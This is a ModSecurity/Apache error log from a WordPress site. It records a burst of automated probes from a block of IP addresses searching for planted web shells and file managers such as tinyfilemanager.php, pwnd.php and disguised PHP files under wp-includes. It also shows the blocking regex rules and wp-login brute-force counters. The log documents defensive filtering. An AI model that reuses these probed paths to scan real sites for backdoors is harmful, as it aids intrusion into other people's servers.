[Sat Nov 22 06:29:48.939423 2025] [:error] [pid 53566:tid 53585] [client 194.5.82.116:54559] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSDn3MbSHDBkRbwMbd5Z9QAAANE"]
[Sat Nov 22 06:29:53.538160 2025] [:error] [pid 53478:tid 53520] [client 194.5.82.131:41055] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSDn4QhUYdXBbQswAdQy1wAAAEs"]
[Sat Nov 22 06:30:02.814924 2025] [:error] [pid 25856:tid 25862] [client 194.5.82.127:55079] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aSDn6hsTP0wy94zKUvHU3QAAAQQ"]
[Sat Nov 22 06:30:07.366688 2025] [:error] [pid 53566:tid 53569] [client 194.5.82.160:26081] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aSDn78bSHDBkRbwMbd5aJgAAAME"]
[Sat Nov 22 06:30:17.233665 2025] [:error] [pid 53477:tid 53487] [client 194.5.82.164:25843] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSDn-X7Lu30Ku9O40aL63wAAAAY"]
[Sat Nov 22 06:30:18.906465 2025] [:error] [pid 53478:tid 53524] [client 194.5.82.147:37939] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSDn-ghUYdXBbQswAdQzWgAAAE8"]
[Sat Nov 22 06:30:19.138923 2025] [:error] [pid 53566:tid 53587] [client 194.5.82.117:52791] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSDn-8bSHDBkRbwMbd5aPwAAANM"]
[Sat Nov 22 06:30:19.362681 2025] [:error] [pid 53478:tid 53516] [client 194.5.82.107:28619] [client 194.5.82.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSDn-whUYdXBbQswAdQzXQAAAEc"]
[Sat Nov 22 06:30:19.564173 2025] [:error] [pid 53478:tid 53512] [client 194.5.82.146:58547] [client 194.5.82.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSDn-whUYdXBbQswAdQzXgAAAEM"]
[Sat Nov 22 06:30:19.798901 2025] [:error] [pid 53477:tid 53489] [client 194.5.82.120:28615] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSDn-37Lu30Ku9O40aL64AAAAAg"]
[Sat Nov 22 06:30:21.211771 2025] [:error] [pid 53566:tid 53589] [client 194.5.82.159:58961] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSDn_cbSHDBkRbwMbd5acgAAANU"]
[Sat Nov 22 06:30:23.038740 2025] [:error] [pid 25856:tid 25880] [client 194.5.82.169:20347] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aSDn_xsTP0wy94zKUvHVKQAAARY"]
[Sat Nov 22 06:30:26.193086 2025] [:error] [pid 53478:tid 53520] [client 194.5.82.139:35389] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSDoAghUYdXBbQswAdQzeQAAAEs"]
[Sat Nov 22 06:30:27.450306 2025] [:error] [pid 53479:tid 53536] [client 194.5.82.139:27919] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSDoA26cicFF3Aas-oSVIAAAAIA"]
[Sat Nov 22 06:30:29.178992 2025] [:error] [pid 53479:tid 53558] [client 194.5.82.127:55279] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSDoBW6cicFF3Aas-oSVJwAAAJY"]
[Sat Nov 22 06:30:37.401787 2025] [:error] [pid 53479:tid 53537] [client 194.5.82.106:24773] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSDoDW6cicFF3Aas-oSVOwAAAIE"]
[Sat Nov 22 06:30:39.251273 2025] [:error] [pid 53478:tid 53511] [client 194.5.82.164:46147] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSDoDwhUYdXBbQswAdQznAAAAEI"]
[Sat Nov 22 06:30:42.337655 2025] [:error] [pid 53566:tid 53588] [client 194.5.82.159:63205] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/defaults.php"] [unique_id "aSDoEsbSHDBkRbwMbd5aogAAANQ"]
[Sat Nov 22 06:30:44.075442 2025] [:error] [pid 53478:tid 53509] [client 194.5.82.138:49383] [client 194.5.82.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aSDoFAhUYdXBbQswAdQzrQAAAEA"]
[Sat Nov 22 06:30:49.890534 2025] [:error] [pid 53478:tid 53512] [client 194.5.82.122:21183] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSDoGQhUYdXBbQswAdQzxgAAAEM"]
[Sat Nov 22 06:30:51.850716 2025] [:error] [pid 53477:tid 53483] [client 194.5.82.128:55201] [client 194.5.82.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSDoG37Lu30Ku9O40aL7NQAAAAI"]
[Sat Nov 22 06:30:53.632580 2025] [:error] [pid 25856:tid 25872] [client 194.5.82.160:62061] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSDoHRsTP0wy94zKUvHVogAAAQ4"]
[Sat Nov 22 06:30:53.849897 2025] [:error] [pid 53566:tid 53573] [client 194.5.82.163:65129] [client 194.5.82.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSDoHcbSHDBkRbwMbd5avgAAAMU"]
[Sat Nov 22 06:30:55.592231 2025] [:error] [pid 53477:tid 53503] [client 194.5.82.109:43567] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSDoH37Lu30Ku9O40aL7SwAAABY"]
[Sat Nov 22 06:31:00.010876 2025] [:error] [pid 53477:tid 53493] [client 194.5.82.152:44399] [client 194.5.82.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/info.php"] [unique_id "aSDoJH7Lu30Ku9O40aL7WwAAAAw"]
[Sat Nov 22 06:31:00.264522 2025] [:error] [pid 53479:tid 53540] [client 194.5.82.138:34919] [client 194.5.82.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class.api.php"] [unique_id "aSDoJG6cicFF3Aas-oSV0gAAAIQ"]
[Sat Nov 22 06:31:00.454197 2025] [:error] [pid 25856:tid 25868] [client 194.5.82.118:34069] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSDoJBsTP0wy94zKUvHVvwAAAQo"]
[Sat Nov 22 06:31:11.731787 2025] [:error] [pid 53566:tid 53578] [client 194.5.82.120:60887] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aSDoL8bSHDBkRbwMbd5a9wAAAMo"]
[Sat Nov 22 06:31:15.845672 2025] [:error] [pid 53566:tid 53574] [client 194.5.82.147:31009] [client 194.5.82.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSDoM8bSHDBkRbwMbd5bDQAAAMY"]
[Sat Nov 22 06:31:32.657937 2025] [:error] [pid 53566:tid 53591] [client 194.5.82.147:31009] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSDoRMbSHDBkRbwMbd5bNwAAANc"]
[Sat Nov 22 06:31:37.077653 2025] [:error] [pid 53477:tid 53504] [client 194.5.82.116:20643] [client 194.5.82.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSDoSX7Lu30Ku9O40aL7xgAAABc"]
[Sat Nov 22 06:31:39.642522 2025] [:error] [pid 53477:tid 53486] [client 194.5.82.116:20643] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "aSDoS37Lu30Ku9O40aL7zAAAAAU"]
[Sat Nov 22 06:31:49.816585 2025] [:error] [pid 53478:tid 53528] [client 194.5.82.120:38395] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSDoVQhUYdXBbQswAdQ0cAAAAFM"]
[Sat Nov 22 06:32:00.867261 2025] [:error] [pid 53566:tid 53585] [client 194.5.82.164:44625] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSDoYMbSHDBkRbwMbd5beQAAANE"]
[Sat Nov 22 06:32:03.965517 2025] [:error] [pid 53477:tid 53491] [client 194.5.82.116:32075] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSDoY37Lu30Ku9O40aL8AQAAAAo"]
[Sat Nov 22 06:32:08.312795 2025] [:error] [pid 25856:tid 25872] [client 194.5.82.170:63085] [client 194.5.82.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-login.php"] [unique_id "aSDoaBsTP0wy94zKUvHWzAAAAQ4"]
[Sat Nov 22 06:32:09.652976 2025] [:error] [pid 25856:tid 25880] [client 194.5.82.170:63085] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSDoaRsTP0wy94zKUvHW0QAAARY"]
[Sat Nov 22 06:32:31.866804 2025] [:error] [pid 53478:tid 53510] [client 194.5.82.118:33571] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSDofwhUYdXBbQswAdQ0zQAAAEE"]
[Sat Nov 22 06:32:36.164643 2025] [:error] [pid 25856:tid 25864] [client 194.5.82.160:44585] [client 194.5.82.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSDohBsTP0wy94zKUvHXCAAAAQY"]
[Sat Nov 22 06:32:41.489625 2025] [:error] [pid 25856:tid 25875] [client 194.5.82.160:44585] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aSDoiRsTP0wy94zKUvHXGAAAARE"]
[Sat Nov 22 06:32:43.298952 2025] [:error] [pid 25856:tid 25882] [client 194.5.82.111:39921] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/infi.php"] [unique_id "aSDoixsTP0wy94zKUvHXHAAAARg"]
[Sat Nov 22 06:32:46.143434 2025] [:error] [pid 53477:tid 53505] [client 194.5.82.169:25131] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSDojn7Lu30Ku9O40aL8YAAAABg"]
[Sat Nov 22 06:32:50.163522 2025] [:error] [pid 53479:tid 53559] [client 194.5.82.147:27577] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSDokm6cicFF3Aas-oSWbwAAAJc"]
[Sat Nov 22 06:32:50.343206 2025] [:error] [pid 25856:tid 25858] [client 194.5.82.150:40375] [client 194.5.82.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSDokhsTP0wy94zKUvHXJQAAAQA"]
[Sat Nov 22 06:32:57.305039 2025] [:error] [pid 25856:tid 25870] [client 194.5.82.162:64875] [client 194.5.82.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSDomRsTP0wy94zKUvHXNwAAAQw"]
[Sat Nov 22 06:32:58.990484 2025] [:error] [pid 53478:tid 53523] [client 194.5.82.137:63753] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSDomghUYdXBbQswAdQ07QAAAE4"]
[Sat Nov 22 06:33:03.518531 2025] [:error] [pid 25856:tid 25878] [client 194.5.82.162:28645] [client 194.5.82.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "aSDonxsTP0wy94zKUvHXSQAAARQ"]
[Sat Nov 22 06:33:08.218957 2025] [:error] [pid 53566:tid 53569] [client 194.5.82.114:37487] [client 194.5.82.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSDopMbSHDBkRbwMbd5b8QAAAME"]
[Sat Nov 22 06:33:11.416870 2025] [:error] [pid 53477:tid 53490] [client 194.5.82.154:62047] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/click.php"] [unique_id "aSDop37Lu30Ku9O40aL8iwAAAAk"]
[Sat Nov 22 06:33:21.603479 2025] [autoindex:error] [pid 53478:tid 53533] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:21.724899 2025] [autoindex:error] [pid 53478:tid 53512] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:33:21.826383 2025] [autoindex:error] [pid 53478:tid 53532] [client 194.5.82.121:38393] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
